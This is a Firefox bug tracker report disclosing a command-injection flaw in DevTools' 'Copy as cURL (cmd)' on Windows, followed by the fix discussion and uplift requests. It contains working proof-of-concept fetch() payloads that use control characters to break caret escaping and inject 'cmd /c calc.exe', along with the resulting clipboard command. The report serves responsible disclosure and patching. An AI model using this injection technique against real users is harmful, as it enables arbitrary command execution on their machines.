Allows Arbitrary Code Execution via "Copy as cURL (windows)" in DevTools
Categories
(DevTools :: Netmonitor, defect, P2)
Tracking
(firefox-esr115 wontfix, firefox-esr140146+ fixed, firefox145 wontfix, firefox146+ fixed, firefox147+ fixed)
People
(Reporter: ucokas12, Assigned: bomsy)
References
(Blocks 1 open bug)
Details
(Keywords: csectype-priv-escalation, reporter-external, sec-moderate, Whiteboard: [adv-main146+][adv-esr140.6+])
Attachments
(5 files, 1 obsolete file)
|
2.44 MB,
video/mp4
|
Details | |
|
2.57 MB,
video/mp4
|
Details | |
|
48 bytes,
text/x-phabricator-request
|
Details | Review | |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-beta+
|
Details | Review |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-esr140+
|
Details | Review |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Steps to reproduce:
The issue concerns the “Copy as cURL (cmd)” feature in DevTools. When exporting a request to Windows that includes a cmd command, the parsing logic fails to correctly handle control characters.
This also affects Firefox Nightly version 146.0a1 (2025-10-28) (64-bit).
os: windows 11
Steps to reproduce:
- Copy and run the payload in console (this can also be via html)
fetch("/copyme", {
credentials: "omit",
headers: {
"Accept-Language": "en-US",
"Content-Type": "text/plain",
},
method: "POST",
body: `
query=evil\ncmd /c calc.exe\x1a\ncmd /c calc.exe\x1a
`
});
or
fetch("/copyme", {
credentials: "omit",
headers: {
"Accept-Language": "en-US",
"Content-Type": "text/plain",
},
method: "POST",
body: `
query=evil\ncmd /c calc.exe\x0e\ncmd /c calc.exe\x0f
`
});
- Copy the request with copy as curl (cmd)
- Paste on the windows cmd and see calc pop up
| Reporter | ||
Comment 1•9 months ago
|
||
Updated•9 months ago
|
Here's what ends up on the clipboard:
curl.exe ^"https://example.com/copyme^" ^
--compressed ^
-X POST ^
-H ^"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0^" ^
-H ^"Accept: */*^" ^
-H ^"Accept-Language: en-US^" ^
-H ^"Accept-Encoding: gzip, deflate, br, zstd^" ^
-H ^"Referer: https://glob.au/^" ^
-H ^"Content-Type: text/plain^" ^
-H ^"Origin: https://glob.au^" ^
-H ^"Connection: keep-alive^" ^
-H ^"Sec-Fetch-Dest: empty^" ^
-H ^"Sec-Fetch-Mode: cors^" ^
-H ^"Sec-Fetch-Site: same-origin^" ^
-H ^"Idempotency-Key: ^\^"17998794007892653385^\^"^" ^
-H ^"Priority: u=4^" ^
-H ^"TE: trailers^" ^
--data-raw ^"^
query=evil^
cmd /c calc.exe^^
cmd /c calc.exe^^
^"
Updated•9 months ago
|
Updated•9 months ago
|
| Assignee | ||
Comment 3•9 months ago
|
||
Comment 4•9 months ago
|
||
Is this the same as bug 1996761?
Bug 1996761, Bug 1997018 (this one), Bug 1998010, and Bug 1998064 all appear to be related to the same root cause - unescaped characters in POST data; however, all are using different characters/sequences to trigger the exploit.
| Assignee | ||
Updated•9 months ago
|
| Assignee | ||
Comment 6•8 months ago
|
||
So did a bit more investigation,
The issue here (which is the same as with Bug 1998064 and Bug 1998010) is we are currently escaping ASCII control characters See https://www.ascii-code.com/characters/control-characters with ^ (the main escape character for the Windows CMD), but this does not work.
It is exploited to escape break the escape sequence by escaping the caret which escapes the next character.
e.g calc.exe\x0e\ncmd becomes calc.exe^^\n\ncmd => The first ^ from the escape of the control character escapes the second ^ which should have escaped the new line.
The valid result be calc.exe^\n\ncmd => When we do not escape the control character
| Reporter | ||
Comment 9•8 months ago
|
||
maybe you can do it, Replace all non-printable characters with space, as these break cmd.exe commands as well
Comment 10•8 months ago
|
||
Comment 11•8 months ago
|
||
| Reporter | ||
Updated•8 months ago
|
Comment 12•8 months ago
|
||
The patch landed in nightly and beta is affected.
:bomsy, is this bug important enough to require an uplift?
- If yes, please nominate the patch for beta approval.
- See https://wiki.mozilla.org/Release_Management/Requesting_an_Uplift for documentation on how to request an uplift.
- If no, please set
status-firefox146towontfix.
For more information, please visit BugBot documentation.
Comment 13•8 months ago
|
||
:bomsy, to add to Comment 12, this will also need an uplift request for ESR140. It grafts cleanly.
| Assignee | ||
Comment 14•8 months ago
|
||
Escaping control (mostly non-printable) charaters, means that only the caret(^) used for the escape will be
included in the curl output and therefore the caret will be unexpectedly be escaping whatever character is after
the control character.
This patch stops escaping the unicode control characters.
Original Revision: https://phabricator.services.mozilla.com/D270661
Updated•8 months ago
|
Comment 15•8 months ago
|
||
firefox-beta Uplift Approval Request
- User impact if declined: Clever combination of control character in a curl command, if run on the user's machine can cause vunerability.
- Code covered by automated testing: yes
- Fix verified in Nightly: yes
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: Small js patch to properly escape unicode control characters.
- String changes made/needed: none
- Is Android affected?: no
| Assignee | ||
Comment 16•8 months ago
|
||
Escaping control (mostly non-printable) charaters, means that only the caret(^) used for the escape will be
included in the curl output and therefore the caret will be unexpectedly be escaping whatever character is after
the control character.
This patch stops escaping the unicode control characters.
Original Revision: https://phabricator.services.mozilla.com/D270661
Updated•8 months ago
|
Comment 17•8 months ago
|
||
firefox-esr140 Uplift Approval Request
- User impact if declined: Clever combination of control character in a curl command, if run on the user's machine can cause vunerability.
- Code covered by automated testing: yes
- Fix verified in Nightly: yes
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: Small js patch to properly escape unicode control characters.
- String changes made/needed: none
- Is Android affected?: no
Updated•8 months ago
|
Updated•8 months ago
|
Comment 18•8 months ago
|
||
| uplift | ||
Comment 19•8 months ago
|
||
Updated•8 months ago
|
Updated•8 months ago
|
| Assignee | ||
Comment 20•8 months ago
|
||
Escaping control (mostly non-printable) charaters, means that only the caret(^) used for the escape will be
included in the curl output and therefore the caret will be unexpectedly be escaping whatever character is after
the control character.
This patch stops escaping the unicode control characters.
Original Revision: https://phabricator.services.mozilla.com/D270661
Updated•8 months ago
|
| Assignee | ||
Updated•8 months ago
|
Updated•8 months ago
|
Updated•8 months ago
|
Updated•8 months ago
|
Comment 21•8 months ago
|
||
| uplift | ||
| Reporter | ||
Comment 22•8 months ago
|
||
Hey team,
is it possible to complete the bounty form as soon as possible? I will be undergoing mandatory military training, and for the next few months I won’t have access to any electronic devices. I’m worried I might not be able to fill out the form once the training begins.
If it can’t be expedited, that’s totally fine.
Thank you.
Updated•8 months ago
|
Updated•8 months ago
|
Comment 26•8 months ago
|
||
I've sent the invoice to Accounting who should reach out to you. If you have further questions about the process; please email security@mozilla.com
Updated•7 months ago
|
Updated•2 months ago
|
Description
•